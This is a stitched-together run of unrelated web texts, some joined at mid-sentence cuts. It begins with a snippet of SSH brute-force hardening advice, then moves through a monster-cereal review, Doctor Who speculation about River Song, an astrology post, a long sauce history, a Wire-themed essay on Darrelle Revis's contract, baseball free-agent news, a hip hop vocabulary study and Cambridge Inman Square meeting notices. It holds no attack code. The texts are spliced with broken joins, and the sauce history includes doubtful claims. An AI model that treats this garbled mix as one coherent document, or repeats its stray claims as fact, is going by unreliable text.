If you've got an SSH server that you want to secure from brute-force attack, Owens and Matthews recommend taking several steps. First, all passwords should be strong, usernames should be non-obvious, and SSH logins for the root account should be disabled. The two also recommend running the SSH server on a non-standard high port, though they recognize that this is a "security through obscurity" tactic, and they advocate the use of software capable of parsing log files and noting multiple failed login attempts. These steps, taken in aggregate, should be sufficient to protect an SSH server, even if the number of attacks continues to rise.Halloween will soon be here, so we better make sure we’re fully prepared for the madness with a few more cereal reviews!
I don’t know if there’s such a thing as a legendary cereal, but Frute Brute gets about as close as I can imagine. Despite not being around for decades, it’s made appearances in movies, and been referenced in pop-culture as the ultimate nostalgic breakfast snack. Now, completely surprising everyone, Frute Brute has made a comeback. It’s a little sad that the original flavor of mixed fruit with lime marshmallows isn’t in the box, but the new flavor isn’t bad at all. The new Brute is cherry flavored, which it pulls off pretty well. Most cherry flavorings are too sweet for me, but this one isn’t any sweeter then the other monster cereals, maybe even less so. It’s kind of like eating a bowl of potpourri, but in a good way. They say that most of what you taste comes from smell, which is evident here. It makes a good compliment to the other fruity flavors in the line, and I hope to keep seeing it in future seasons.
Yummy Mummy is also a returning cereal, and as with Frute Brute, a new flavor as well. This time it’s orange-cream, as opposed to the mixed fruit and vanilla marshmallow taste of the original. This one surprised me with how good it tastes, actually. It’s an even more convincing flavor then Brute, extremely reminiscent of an orange creamsicle. It’s more complex of a flavor then the other four, and it may even be my new favorite (I’ve normally gone for Count Chocula first).
Although some people might be put off by the flavor changes, it seems to me that the appeal of these cereals has mostly been the mascots. I’m sure you can tell I have an appreciation for that sort of thing, so having two missing characters return is pretty exciting. Just a quick search around the web, and you can find a lot of others that feel the same way. There’s certainly some nostalgia at play, but I think a lot of it comes from the sense of fun that things like this bring. It’s almost like playing with your food, except your mom won’t get mad at you.Doctor Who TV guest writer Gabriel Lucas Green takes a look at one of Doctor Who’s most intriguing characters and speculates just who she really is.
Without a doubt, the character of River Song is an important one. After all, she has featured in two series already and will appear again in the sixth. Most people speculate that she is simply the Doctor’s wife, but I think Steven Moffat just wants to make us think that. I believe it’s a lot more than that.
From what I can see, she simply has to be a Time Lord (or Time Lady). In her first appearance in Silence in the Library, she proved to the Doctor how important she is by whispering his Gallifreyan name into his ear. The Doctor’s true name can only be pronounced by other Gallifreyans. And let’s not forget in both The Time of Angels and The Pandorica Opens, River left the Doctor messages written in High Gallifreyan.
I strongly suspect River Song is, in fact, The Rani. The Rani, for those unfamiliar, was a renegade Time Lady and an evil scientific genius whose character goes way back to 1985 when she first appeared in a sixth Doctor serial called, The Mark of the Rani. In the story, the Rani was conducting experiments on humans to use on Miasimia Goria – a planet she ruled. It was also revealed that The Rani, the Master and the Doctor all went to the same school together on Gallifrey, called the Prydon Academy, where they were all part of a young, rebellious group called ‘The Deca’.
In her last on-screen appearance in Time and the Rani, she attacked the TARDIS and it was forced to crash-land. The Rani planned to create a time manipulator allowing her to control time anywhere in the universe. In the end, the Doctor managed to prevent her from doing so. She escaped in her TARDIS but was later taken prisoner by an |
practice start by looking at the sign Mercury is placed in. This gives you the basic mode through which your mind is operating, as well as the element (Earth, Air, Water or Fire) that gives its quality to your thinking. Next look at the house it’s placed in, as well as any aspects formed to other planets. Don’t worry, you don’t need to be an expert to do this, just let your intuition guide you.
If you don’t have a birth chart yet you can download one for free here. And for those who are still unfamiliar with the qualities of the Planets, Signs and Houses check out these free mini lessons. Alternatively become a subscriber to access all the mini lessons as a free ebook.
Mindfulness is about becoming more conscious of how our Mercury mind is operating. This puts us back in the drivers seat. We are no longer a character in the story our mind is telling us, instead we are the author of our own story, a story that empowers us to live a creative, fulfilling and peaceful life.
If you regularly use mindfulness in your daily life please share your experiences below.
Subscribe for free to receive my ebook Astrology 101 and new astrology insights in your inbox every week Plus get special discounts and freebies offered only to subscribers I will never share or sell your email address. You can unsubscribe at any time directly from your inbox.The word “sauce” is a French word that means a relish to make our food more appetizing. Sauces are liquid or semi-liquid foods devised to make other foods look, smell, and taste better, and hence be more easily digested and more beneficial.
Because of the lack of refrigeration in the early days of cooking, meat, poultry, fish, and seafood didn’t last long. Sauces and gravies were used to mask the flavor of tainted foods.
200 A.D. – The Romans used sauces to disguise the taste of the food. Possibly to conceal doubtful freshness. According to the article Food & Cooking in Roman Britain by Marian Woodman:
The main course, or primae mensai varied both in the number and elaboration of dishes. Roast and boiled meat, poultry, game or other meat delicacies would be served. No dish was complete without its highly flavoured and seasoned sauce. Contrary to present day preference, the main object seemed to be to disguise the natural taste of food – possibly to conceal doubtful freshness, possibly to demonstrate the variety of costly spices available to the host. Sometimes so many ingredients were used in a sauce it was impossible to single out any one flavour. One Roman cook bitterly complained that some of his fellow cooks ‘When they season their dinners they don’t use condiments for seasoning, but screech owls, which eat out the intestines of the guests alive’. Apicius wrote at the end of one of his recipes for a particularly flavoursome sauce, ‘No one at table will know what he is eating’. These sauces were usually thickened with wheat flour or crumbled pastry. Honey was often incorporated into a ‘sweet-sour’ dish or sauce.
Highly flavoured sauces often containing as many as a dozen ingredients were extensively used to mask the natural flavours of Roman food. The most commonly used seasoning was liquamen, the nearest equivalent today being a very strong fish stock, with anchovies as its main ingredient. This was so popular that it was factory-produced in many towns in the Roman empire.
1651 – A little heard of sauce today, but very popular in the 17th century is Sauce Robert. It is similar to the present day Espagnole Sauce. Both Sauce Rober and Espangnole are basically a brown roux (a combination of fat and flour to create a thickening agent).
In le Grand Cuisinier (1583) there is a mention of a sauce Barbe Robert, sauce already found in le Viandier under the name “taillemasl” (fried onions, verjus, vinegar, mustard) for roasted rabbit, fry fish and fry egg.
Franis Rabelais (Circa 1483-1553)in le Quart-Livre, mention: “Robert, the one who invented the sauce Robert indispensable for roast, rabbits, duck, pork, poached eggs…”
There are Five Foundation Sauces or Basic Sauces
Grandes Sauces or Sayces Meres
Two of them have a record of two hundred years behind them; they are the “bechamelle” and the “mayonnaise”. They have lasted so long, not only because they are very good, but also because they are so adaptable and provide a fine basis for a considerable number of other sauces.
The other three, which also date back to the 18th century, are the “veloute,” the “brune,” and the “blonde.” These five sauces still provide the basis for making of many modern sauces, but no longer of most of them.
Modern sauces may be divided into two classes: the “Careme” and “Escoffier” classes. Among the faithful, in the great kitchen of the world, Escoffier is to Careme what the New Testament is to the Old. See “Mother Sauces” for descriptions of the five basic sauces.
Aioli (eye-YO-lee) – Aioli is a thick garlic sauce used in the cooking of Provence, France, and of Catalonia in Spain. It is often compared to mayonnaise in its texture, but it is not actual mayonnaise. It is though by culinary historians that Aioli is a Roman sauce, the one the Romans called “aleatum” made of garlic and oil.
History: The first apparent written mention of a sauce resembling aioli was by Pliny the Elder (23-79 A.D.), the Roman procurator in Tarragona (a city located in the south of Catalonia on the north-east of Spain.) He writes about garlic (Latin term: aleatum) in his first century book Naturalis Historia. Information below by Peter Hertzmann from his la carte website:
Natural History (Naturalis Historia) is an encyclopedia published around AD 77–79 by Pliny the Elder (23-79 AD). It is one of the largest single works to have survived from the Roman Empire to the modern day and purports to cover all ancient knowledge.
Whether garlic was introduced to France by the Romans, brought back to France during the crusades, or a native of French soil is not known for certain. (I think it was introduced by the Romans.) Pliny the Elder discusses garlic at some length in his work Naturalis Historia, published in the year 77. He states that it “is generally supposed, in the country more particularly, to be a good specific for numerous maladies.”
Later, in a chapter entitled “Garlic: Sixty-One Remedies,” Pliny writes, “Garlic has very powerful properties, and is of great utility to persons on changes of water or locality. The very smell of it drives away serpents and scorpions, and, according to what some persons say, it is a cure for wounds made by every kind of wild beast, whether taken with the drink or food, or applied topically…. Pliny does not discuss the use of garlic as food, he does comment extensively, however, on how to best grow garlic.
Bearnaise sauce (bair-naz) – It is a variation of hollandaise sauce. White wine or vinegar, diced shallots, tarragon, and peppercorns are cooked together and reduced and sieved and then added to hollandaise sauce. The spice tarragon is what gives it a distinctive taste. The sauce is served with beef and some shellfish.
History: Chef Jules Colette at the Paris restaurant called Le Pavillon Henri IV in the 19th century invented Brnaise sauce in Paris, France. It was named Brnaise in Henry’s honor as he was born in Bearn, France (a region in the Pyreness mountain range in southwest France). It is said that every chef at the restaurant tried to claim the recipe as his own.
Bechamel Sauce (bay-shah-mel) – As the housewife in the 17th Century did not have the luxury of modern refrigeration, they were wary of using milk in their recipes. Peddlers were known to sell watered down or rancid produce. Basically, only the rich or royalty could use milk in their sauces.
In France, it is one of the four basic sauces called “meres” or “mother sauces” from which all other sauces derive. It is also know as “white sauce.” It is a smooth, white sauce made from a roux made with flour, boiled milk, and butter. It is usually served with white meats, eggs, and vegetables. It forms the basis of many other sauces.
History: There are four theories on the origin of Bhamel Sauce:
The Italian version of who created this sauce is that it was created in the 14th century and was introduced by the Italian chefs of Catherine de Medici (1519-1589), the Italian-born Queen of France. In 1533, as part of an Italian-French dynastic alliance, Catherine was married to Henri, Duke of Orleans (the future King Henri II of France. It is because of the Italian cooks and pastry makers who followed her to France that the French came to know the taste of Italian cooking that they introduced to the French court. Antonin Careme (1784-1833), celebrated chef and author, wrote in 1822: “The cooks of the second half of the 1700’s came to know the taste of Italian cooking that Catherine de’Medici introduced to the French court.”
Bechamel Sauce was invented by Duke Philippe De Mornay (1549-1623), Governor of Saumur, and Lord of the Plessis Marly in the 1600s. Bechamel Sauce is a variation of the basic white sauce of Mornay. He is also credited with being the creator of Mornay Sauce, Sauce Chasseur, Sauce Lyonnaise, and Sauce Porto.
Marquis Louis de Bechamel (1603–1703), a 17th century financier who held the honorary post of chief steward of King Louis XIV’s (1643-1715) household, is also said to have invented Bechamel Sauce when trying to come up with a new way of serving and eating dried cod. There are no historical records to verify that he was a gourmet, a cook, or the inventor of Bechamel Sauce. The 17th century Duke d’Escars supposedly is credited with stating: “That fellow Bechameil has all the luck! I was serving breast of chicken a la creme more than 20 years before he was born, but I have never had the chance of giving my name to even the most modest sauce.”
It is more likely that Chef Francois Pierre de la Varenne (1615-1678) created Bechamel Sauce. He was a court chef during King Louis XIV’s (1643-1715) reign, during the same time that Bechamel was there. He is often cited as being the founder of haute cuisine (which would define classic French cuisine). La Varenne wrote Le Cuisinier Francois (The True French Cook), which included Bechamel Sauce. It is thought that he dedicated it to Bechamel as a compliment. La Varenne recipes used roux made from flour and butter (or other animal fat) instead of using bread as a thickener for sauces.
Chasseur Sauce – Chasseur is French for hunter. It is a hunter-style brown sauce consisting of mushrooms, shallots, and white wine (sometimes tomatoes and parsley). It is most often served with game and other meats. Chasseur, or “Hunter Style” was meant for badly shot game or tough old birds. The birds were always cut up to remove lead shot or torn parts, and often cooked all day on the back of the range if they were old or tough. Originally the veggies used were ones hunters would find while they hunted. This can be scaled up.
History: It is thought that Chasseur sauce was invented by Duke Philippe De Mornay (1549-1623), Governor of Saumur, and Lord of the Plessis Marly in the 1600s. He was a great protestant writer and called the protestant pope. It is said that he also invented Mornay Sauce, Sauce Bechamel, Sauce Lyonnaise, and Sauce Porto.
Coulis (koo-LEE) –
(1) A French culinary term. It is a type of a sauce, usually a thick one, which derives it body (either entirely or in part), from pureed fruits or vegetables. A sauce of cooked down tomatoes can be a tomato coulis as can a puree of strained blackberries.
(2) Today coulis also means a thick soup made with crayfish, lobster, prawns, and other crustaceans – the word being used where bisque has formerly been used.
History: In old English cookbooks, the world “cullis” is found but this has fallen into disuse and “coulis” has taken its place. At one time, coulis were sauces and also the juices which flowed from roasting meat. Some cooks called liquids purees coulis, but only those prepared with chicken, game, fish, crustaceans, and some vegetables.
Hollandaise Sauce (HOL-uhn-dayz) – Hollandaise mean Holland-style or from Holland. Uses butter and egg yolks as binding. It is served hot with vegetables, fish, and eggs (like egg benedict). It will be a pale lemon color, opaque, but with a luster not appearing oily. The basic sauce and its variations should have a buttery-smooth texture, almost frothy, and an aroma of good butter. Making this emulsified sauce requires a good deal of practice — it is not for the faint of heart. Bearnaise sauce, which is “related” to hollandaise sauce, is most often served with steak.
History – Most historians agree that it was originally called Sauce Isigny after a town in Normandy, Isigny-sur-Mer, known for its butter. Today, Normandy is called the cream capital of France. During World War I, butter production came to a halt in France and had to be imported from Holland. The name was changed to hollandaise to indicate the source of the butter and was never changed back.
17th Century – Sauce Hollandaise, as we now know it, is the modern descendant of earlier forms of a sauce believed to have been brought to France by the Heugenots. It appears to have actually been a Flemish or Dutch sauce thickened with eggs, like a savory custard, with a little butter beaten in to smooth the texture.
1651 – Francois Pierre de La Varenne (1618-1678), in his cookbook, Le cuisine franis (The True French Cook) has a recipe for a similar sauce in his recipe for Asparagus in Fragrant Sauce :
“Choose the largest, scrape the bottoms and wash, then cook in water, salt well, and don’t let them cook too much. When cooked, put them to drain, make a sauce with good fresh butter, a little vinegar, salt, and nutmeg, and an egg yolk to bind the sauce; take care that it doesn’t curdle; and serve the asparagus garnished as you like.”
Marinara (mah-ree-NAH-rah) – Means “sailor” in Italian (sailor style of tomato sauce). A spicy, quickly cooked pasta sauce of Italian origins but far more popular in American restaurants featuring southern Italian cuisines than in most of Italy.
Mayonnaise (MAY-uh-nayz) – Mayonnaise is an emulsion consisting of oil, egg, vinegar, condiments, and spices.
History: When first invented, it was called Mahonnaise. According to the Oxford English Dictionary, the sauce got its present name of mayonnaise purely by accident through a printing error in an early 1841 cookbook. There are many conflicting stories on the origin of mayonnaise:
Most authorities believe the first batch of this mixture of egg yolks, oil and seasonings was whipped up to celebrate the 1756 French capture of Mahon, a city on the Spanish Isle of Minorca, by forces under Louis-Francois-Armad de Vignerot du Plessis, duc de Richelieu (1696-1788). The Duke, or more likely, his personal chef, is credited with inventing mayonnaise, as his chef created a victory feast that was to include a sauce made of cream and eggs. Realizing that there was no cream in the kitchen, the chef substituted olive oil for the cream and a new culinary creation was born. Supposedly the chef named the new sauce “Mahonnaise” in honor of the Duc’s victory. Besides enjoying a reputation as a skillful military leader, the Duke was also widely known as a bon vivant with the odd habit of inviting his guests to dine in the nude.
Early French immigrant cooks that originally lived in Fort Mahon brought the original recipe to Minnesota. An old superstition is that a woman should not attempt to make mayonnaise during menstruation time, as the mayonnaise will simply not blend together as well.
Some historians state that Marie Antoine Careme (1784-1833), celebrated French chef and author, proclaimed that mayonnaise was derived from the word magnonaise (magner means “made by hand” or “stir”). Due to the time period of when Careme was a chef, this theory doesn’t make sense, as he would surely have know the history of the name, had mayonnaise been created as recently as 1756.
The French cities Bayonne and Les Mayons also claim to be the place of birth of mayonnaise.
Les Mayon s, capital of Minorque in the Balearic Islands, occupied by English and conquered by the French admiral Louis-Franis-Louis-Franis-Armand of Plessis de Richelieu. He brought back a local sauce based on lemon juice key and egg yolk, olive oil, raised of a little black pepper and marine salt, garlic or fresh grass.
Bayonne, a resort town on the Aquitaine/Basque coast in southwest France. It is thought that mayonnaise could be an alteration and corruption of bayonnaise sauce. Nowdays, bayonnaise refers to a mayonnaise flavored with the Espelette chiles.
The sauce may have remained unnamed until after the Battle of Arques in 1589. It may then have been christened “Mayennaise” in ‘honor’ of Charles de Lorraine, duc de Mayenne (1554-1611), supposedly because he took the time to finish his meal of chicken with cold sauce before being defeated in battle by Henri IV (1553-1610).
Other historians claim it received its name from the Old French words “moyeunaise” or “moyeu,” meaning, “egg yok.”
1910 – Nina Hellman, a German immigrant from New York City, made a dressing that her husband, Richard Hellman, used on the sandwiches and salads he served in his New York delicatessen. He started selling the spread in “wooden boats” that were used for weighing butter. Initially he sold two versions of the recipe, and to differentiate between the two, he put a blue ribbon around one. In 1912, there was such a great demand for the “ribbon” version, that Hellmann designed a “Blue Ribbon” label, which he placed on larger glass jars. He did so well that he started a distribution business, purchased a fleet of trucks, and in 1912 built a manufacturing plant. Also Best Foods, Inc. in California did the same. Hellman and Best Foods later merged and account for about 45% of all bottled mayonnaise sole in the United States.
Newburg Sauce – An American sauce that was created at the famous Delmonico Restaurant in New York City by their French chef, M. Pascal. This elegant sauce is composed of butter, cream, egg yolks, sherry, and seasonings. It is usually served over buttered toast points. The sauce is also used with other foods, in which case the dish is usually given the name “Newburg.”
History: The sauce was originally named after a Mr. Wenburg, a frequent guest at the Delmonico restaurant. Mr. Wenburg and the boss of the Delmoico had an argument, thus causing Wenburg to insist that the sauce be renamed. The first three letters were changed to “New” instead of “Wen” to create the name “Newberg.”
Mother Sauces – Also called Grand Sauces. These are the five most basic sauces that every cook should master. Antonin Careme, founding father of French “grande cuisine,” came up with the methodology in the early 1800’s by which hundreds of sauces would be categorized under five Mother Sauces, and there are infinite possibilities for variations, since the sauces are all based on a few basic formulas. Sauces are one of the fundamentals of cooking. Know the basics and you’ll be able to prepare a multitude of recipes like a professional. Learn how to make the basic five sauces and their most common derivatives. The five Mother Sauces are:
Bechamel Sauce (white)
Veloute Sauce (blond)
Brown (demi-glace) or Espagnole Sauce
Hollandaise Sauce (butter)
Tomato Sauce (red)
Remoulade (ray-muh-LAHD) – A chilled flavored mayonnaise used in French cuisine. It includes mayonnaise, anchovies or anchovy paste, mustard, capers, and chopped pickles that are served as a dressing for cold meats, poultry or seafood.
Veloute Sauce (veh-loo-TAY) – Also called sauce blanche grasse or fat white sauce, rich white sauce. One of the five “mother sauces.” It is a stock-based white sauce that can be made from chicken, veal, or fish stock thickened with white roux. ee Mother Sauces for more information.
Allemande Sauce – Veal veloute with egg yolk and cream liaison.
Supreme Sauce – Chicken veloute reduced with heavy cream
Vin Blanc Sauce – Fish veloute with shallots, butter, and fines herbs.
Sources:
2001 Food Secrets Revealed, by Dr. Myles H. Bader, published by Northstar Publishing, 1997.
A Concise Encyclopediea of Gastronomy, by Andre L. Simon, published by Harcourt, Brace and Company, New York, 1952.
Bull Cook and authentic Historical Recipes and Practices, by George Leonard Herter and Berthe E. Herter,, published by Herter’s Inc., 1960.
Food & Cooking in Roman Britain’ by Marian Woodman. The Romans in Britian, Roman Cooking Part 3.
Key Terms In Cuisine, by Dr. John Skull, published by Elbrook Press, Australia, 1991.
Ladyfingers & Nun’s Tummies, by Martha Barnette, published by Times Books, 1997.
Larousse Gastronomique – The Encyclopedia of Food, Wine & Cooker, by Prosper Montagne, published by Crown Publishers Inc., 1961
Menu Mystique, by Norman Odya Krohn, published by Jonathan David Publishers, Inc, New York, 1983.
Royal Cookbook (Favorite Court Recipes from the World’s Royal Families, by Editors of Parent’s Magazine, published by Parent’s Magazine Press, New York, MCMLXXI.
The Dictionary of American Food & Drink, by John F. Mariani, published by Ticknor & Fields, 1983.
The Food Chronology, by James Trager, published by Henry Holt & Company, 1995.
The Horizon Cookbook – Illustraated History of Eating and Drinking through the Ages, William Harlan Hale and the Editors of Horizon Magazine, published by American Heritage Publishing Co., Inc., 1968.“The game is the game.”
If you’re a fan of the HBO classic TV show ‘The Wire,’ you’re quite familiar with this phrase and all that means, if you’re not familiar with the show don’t worry this will still make sense. This phrase was uttered multiple times throughout the course of the show, in many different tones, by many different people. The phrase was used in light-hearted humorous ways, as a teaching tool and as threats or warnings.
“The game” is the drug game, the cat-and-mouse game the drug game creates with the cops, the juking of stats and chain of command issues among police, state senators scamming money, mayors selling their souls needing to earn votes and support, teachers having to jump through hoops in their classes and of course the game between the fraternity of the law, prosecutors, defense attorneys and judges. “The game” extends to all these different people, in different professions, from different walks of life, but they all play the game.
We all love the actual game of football, but as Stringer Bell said, “there’s games beyond the f*@%*#$ game.” Football isn’t just about playing the actual game, teams have to do their best to field the best possible roster within the confines of the salary cap and part of that process is free agency and the art of negotiation is a game all unto it’s self. But it’s not a spectator sport designed to overanalyze, it’s a chess match between the agents and the GM and Revis’ agents are basically the sports agent equivalent to the ruthless Marlo Stanfield.
Nowadays people obsess over every word and try to decipher the hidden message in each syllable, it’s not like it used to be, well not to us at least.
Contract disputes weren’t always so public and even the ones that were didn’t have to deal with the Internet, Twitter and 24 hour news cycles. We notice these changes and so do the agents as they have evolved along with the game (Revis’ agents work the media like their own private puppets) and have taken advantage of the rule changes, but at it’s core it’s still the same game, the art of negotiation. Start with outrageous demands, or on the flip side low ball the player, and prepare for a whole lot of posturing on both sides, the posturing just becomes more loud and public than it used to.
“The game done changed.” Cutty said as he tried to adjust to life outside of prison. “Game’s the same, just got more fierce.” Slim Charles responded. And that’s the same thing we’re dealing with now, the game of negotiation is still the same, it just got more fierce.
Revis may very well end up getting trade, but the recent speculation has come from pure conjecture. Yes, it’s true no one met with Revis’ agents during the combine even though they were staying just down the block from each other, but to think that means anything is quite a reach.
“All in the game yo (laughs), all in the game.”
Yes, the Jets met with plenty of other Jet players during that week but they all either had expired contracts or were asked to consider restructuring (Holmes) their current contract. Revis still has another year left on his contract and won’t be restructuring his contract and sure, often times teams will use this time to try and extend a guy going into the last year of his contract, but recovering from a torn ACL tends to delay those negotiations. So he’s under contract, not going to restructure and both sides would be out of their minds to start negotiating before he can prove he’s healthy again (or prove he’ll be every bit as good as he was from Revis’ side), so what exactly would be the purpose of them meeting? Nothing, but it makes for a good story and a way to pile up webpage hits.
Anything you have heard about Revis’ intentions and demands as well as the Jets intentions and plans is simply posturing. Would the Jets trade Revis? Sure if the price was right. John Idzik would be a fool not to check out the market, but that’s a far cry from speculating that they have made up their minds to trade him and will continue to snub him until they do. Or that they owe him the decency to tell him they’re shopping him. And what happens if they tell him that but don’t get a good enough offer? Now they just told their best player ‘we tried to trade you but it looks like we’re stuck with each other.’ But it would also be foolish of Idzik to not publicly float the idea that maybe they won’t re-sign to keep Revis’ demands in check, it’s standard negotiation procedure, as is the idea that Revis will “reportedly demand” to be the highest paid defender in the NFL.
That’s how negotiations work, remember when the Yankees front office acted like they were thinking of not re-signing Derek Jeter? They were always going to re-sign Jeter but they had to throw some junk out in the public to bring Jeter’s number down (whether it worked or not, they had to try, that’s their job). If the player and agent know the team’s plan is to definitely sign him than the player has all the leverage and can milk every last cent from the team’s budget, which is exactly what happened during the last contract negotiation between these two. Revis and his agents knew the Jets would ultimately pay him, he was too important to their plans so Revis and his agents milked it for all it was worth, like good agents do.
This time, Idzik doesn’t want that to happen. Revis is still recovering and hey the secondary played pretty damn well without him, maybe he’s not as vital to the Jets defense as we all thought. Of course that’s nonsense, but that’s the message Idzik should be floating just to keep Revis’ demands reasonable even if we all know it’s just posturing.
It’s also probably not wise to trade him now while his value has lowered, any teams interested in trading for him will be willing to give up much less if they’re not sure he’s healthy considering they’ll have to sign him to an extension as well. The most realistic time for him to be traded would be during training camp if he’s proven he’s healthy or if the Jets get off to a slow start next year and Revis is back to Revis they could then flip him for a bunch of 2014 draft picks. Of course the other part of any possible Revis trade is the fact that trading him would actually cost the Jets $3 million against this year’s cap.
But since, like Bodie said “This game is rigged, we like the little bi*%#* on the chess board,” we’ll keep hearing new rumors and conspiracy theories about how threats of alien invasions could alter Revis’ contract demands. If Revis is so content (does anyone else remember at the end of the season he said he knows he needs to prove he’s healthy before talking contract and promised no holdout?) why does a story come out that him and his agents feel snubbed, you ask? Because that’s what his agents want you to hear, they want to create a public outcry and try and force the Jets hand, it’s the only leverage they have.
As Stringer Bell said, “this here game is more than the rep you carry, the corner you hold. You gotta be fierce, I know that, but more than that, you gotta show some flex, give and take on both sides.” With agents and especially with a new GM you have to show flex, have to be fierce to establish or maintain a solid rep, once everyone is done putting on their sideshow and they sit down to the table, that’s where the give and take begins.
The game is rigged, in situations like these the reporters are basically freelancing for the agents, it’s just a public negotiation. Nothing means anything until something actually happens. Reporters and fans alike, we’re all just pawns on the chess board like Bodie talked about, pawns in the game of public negotiation. Many fans are outraged that the Jets aren’t giving their best player enough respect, but Idzik can’t worry about that, the fans can’t ever be part of the equation of building a football team. Other fans are sick of Revis and the constant contract drama, but ask Omar he’ll tell you, “look man I’ll do what I can do to help ya’ll, but the game is out there… and it’s either play, or get played.”
All of this is just part of the game, the game is out there whether we like it or not and all players either have to play or get played and the bigger the name the better the ratings for that particular game of negotiations which brings more scrutiny. But for the players it’s about security, that’s why his agents are trying to force the Jets hand now. Scare them into thinking they won’t be able to re-sign him and get that guaranteed money while they can, it’s unlikely they could scare the Jets to offer them enough to satisfy them now, but the game is out there and they’re going to play.
Revis could very well get traded to San Francisco on March 12, or mid-season or not at all. He could play out his contract and walk or he could end up re-signing and staying with the Jets (probably important to note Revis is signed to Nike who will pay him much more if he stays in the New York market), it’s all part of the game Revis and his agents are playing with the Jets and we get to observe from the outside.
The other game that does involve the fans is the media and the game they play, which is to create headlines and collect page views. In page views speculation beats confirmation every time, this game is rigged like a carnival game, but fans should take Marla Daniels advice, “The game is rigged. But you can not lose if you do not play.”
The game with the media is absolutely rigged, just like the cops in ‘The Wire,’ they juke the stats by chasing after misleading-juicy headlines to attract the casual fans. The diehards are going to read anyway, so why cater to them? Attract attention and grab the casual fans, everything is stacked against the diehard fans favor, but you can not lose if you do not play. If you don’t allow yourself to get caught up in rumors, you’ll avoid a world of frustration. If you hang on to every word you’ll drive yourself into the asylum and you’ll hear so many conflicting reports your head will spin around and around until it pops off.
Idzik has addressed the issue, he did actually say they intend to keep Revis as a Jet, and he shouldn’t utter another word on the matter. The Jets have plenty of other more pressing concerns that need to be addressed first, get Revis healthy, then the subject can be broached again. But the story won’t die, not with the slow news cycle of the offseason, the story will be recycled like Manti Te’o jokes and every time it will mean absolutely nothing, until that one time it means everything and that’s where you’ll see the word confirmed.
“The game is the game”
“Always.”In his latest post, Marc Topkin says the Rays are still in talks with free agents, Matt Wieters and Tommy Hunter.
Rays pitchers and catcher reported Sunday and are holding their first workout throughout the day, but they may be joined by two new players in the coming days if things work out.
Matt Wieters has been linked to the Rays throughout the off-season, but his price has been thought to been too high but with a lack of suitors, the former four-time all-star may have to settle for what the Rays offer.
Wieters, 30, is coming off a year in which he slashed.243/.302/.409 with 17 HR, good for 88 wRC+ while he accrued a total of 1.7 fWAR. Two weeks ago, JT Morgan dove more in depth into what Wieters brings to the table.
Tommy Hunter finished the 2016 season with Wieters in Baltimore as he found success in the Orioles’ bullpen. His final numbers on the season were a 3.18 ERA, 3.06 FIP, while he had a 16.6 K% and a 5.8 BB% over 34 innings pitched in 33 games.
Last off-season, the Rays tried hard to land Hunter but eventually lost out to the Cleveland Indians.
The Rays currently still have a full 40-man roster, they have made the Nathan Eovaldi signing official and have designated Eddie Gamboa for assignment to clear a roster spot.The Largest Vocabulary In Hip Hop Rappers, ranked by the number of unique words used in their lyrics
This project was originally published in 2014 and recently updated in January 2019 with newer lyrics data and 75 additional artists, including Lil Uzi Vert, Lil Yachty, Migos, and 21 Savage. It compares the number of unique words used by some of the most famous artists in hip hop (that is, an example of a quantitive view of lyricism, once proposed by Tahir Hemphill). I used each artist’s first 35,000 lyrics. This way, prolific artists, such as Jay-Z, can be compared to newer artists, such as Drake.
# of Unique Words Used Within Artist’s First 35,000 Lyrics Notes/sources: All lyrics are via Genius.
35,000 words covers 3 to 5 studio albums and EPs. I included mixtapes if the artist was short of the 35,000 words. Quite a few rappers don’t have enough official material to be included (for example, Biggie, Chance the Rapper, Queen Latifah, and El-P). Since the original release, there’s now a notable trend of fewer unique words among newer artists. This is easier to see in the following chart, where I highlighted each artist’s primary decade, based on album release dates for their vocabulary calculation (the first 35,000 lyrics).
# of Unique Words Used Within Artist’s First 35,000 lyrics by era1 1980s| 1990s| 2000s| 2010s Notes/sources: (1) Since this analysis uses an artist’s first 35,000 lyrics (prioritizing studio albums), an artist’s era is determined by the years the albums were released. Some artists may be identified with a certain era (for example, Jay-Z with the 1990s, with Reasonable Doubt in 1996, In My Lifetime, Vol. 1 in 1997, etc.) yet continue to release music in the present day. All lyrics are via Genius.
Some of the newer artists wield a smaller vocabulary comparatively, but this is not because hip hop has “dumbed down.” The genre has evolved; it has moved away from complex lyricism toward elements traditionally associated with pop music: repetitive song structure and singing (Joe Carmanica recently wrote about this trend for the New York Times, arguing that it was led by Drake, who popularized the rapping-and-singing formula |
, have heard you, and want to get this once in a generation project “right”.
The City is developing plans to provide safety improvements benefiting all users at the intersection of Hampshire Street and Cambridge Street in Inman Square. Over the course of the past year, we have incorporated community feedback from several public forums and moved towards a concept plan believed to have broad community and stakeholder support.
Before finalizing the design for this significant capital project, however, the City wants to make sure that it not only meets project safety goals, but also satisfies other community goals and desires. The currently proposed concept involves significant reconfiguration of the public open space of Inman Square, particularly Mayor Alfred E. Vellucci Community Plaza. We have received feedback that we should more fully develop and evaluate an alternative design option, which minimizes changes to the existing footprint of Vellucci Plaza. We have done so, and the main objective of the January 30 meeting will be to present this alternative concept, and to review the differences between the two concepts in terms of various criteria including safety, operations and delay for all modes, convenience and clarity, resident and business parking and loading, environmental and open space impact, and urban design.
The City is confident that either concept will satisfy the main multi-modal safety objectives of the project, while providing acceptable operations for all users, including pedestrians, bicycles, transit users, and private and commercial vehicles. For us to move forward with the project, however, it is critical that we get additional community feedback.
Inman Square Intersection Improvements Community Meeting
Tuesday, January 30th, 2018
Cambridge Public Library (Main Branch), Lower Level (L2)
449 Broadway
Presentation: 6:00-6:45 pm
Community Feedback: 6:45-8:00 pm
For more information on this project, please visit www.cambridgema.gov/theworks/inmansquare To be added to the project email list, please contact KyAnn Anderson, Community Relations Manager, at community.cambridge@kleinfelder.com.The Inman Square Intersection Improvements Community Meeting scheduled for Tuesday December 5, 2017, is. The City Manager, Deputy City Manager, and numerous staff have been meeting with various stakeholder groups to discuss the preferred design proposal. Based on the feedback received, the project team needs more time to perform additional analyses and further refine the project design, so that they can present the community with the most complete information regarding the intersection and plaza layout.
Once a new date is confirmed, an additional notice will be sent out announcing the date, time, and location of the rescheduled community meeting.
We apologize for any inconvenience this change may cause and hope you are able to attend the future meeting.
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Inman Square Intersection Improvements
Community Meeting: Tuesday, December 5th - POSTPONED
The City is developing plans to improve the intersection of Hampshire Street and Cambridge Street in Inman Square. The next public meeting for this project will be held on Tuesday, December 5th, at the Main Library, Lower Level (L2) from 6-8pm.
As we move towards a final design for the project, this meeting will focus on design revisions incorporated through community input, traffic simulation modeling, and present three concepts our team has developed for the Vellucci Plaza. We encourage community members to attend to learn more about the design options for this important public space and to provide feedback.
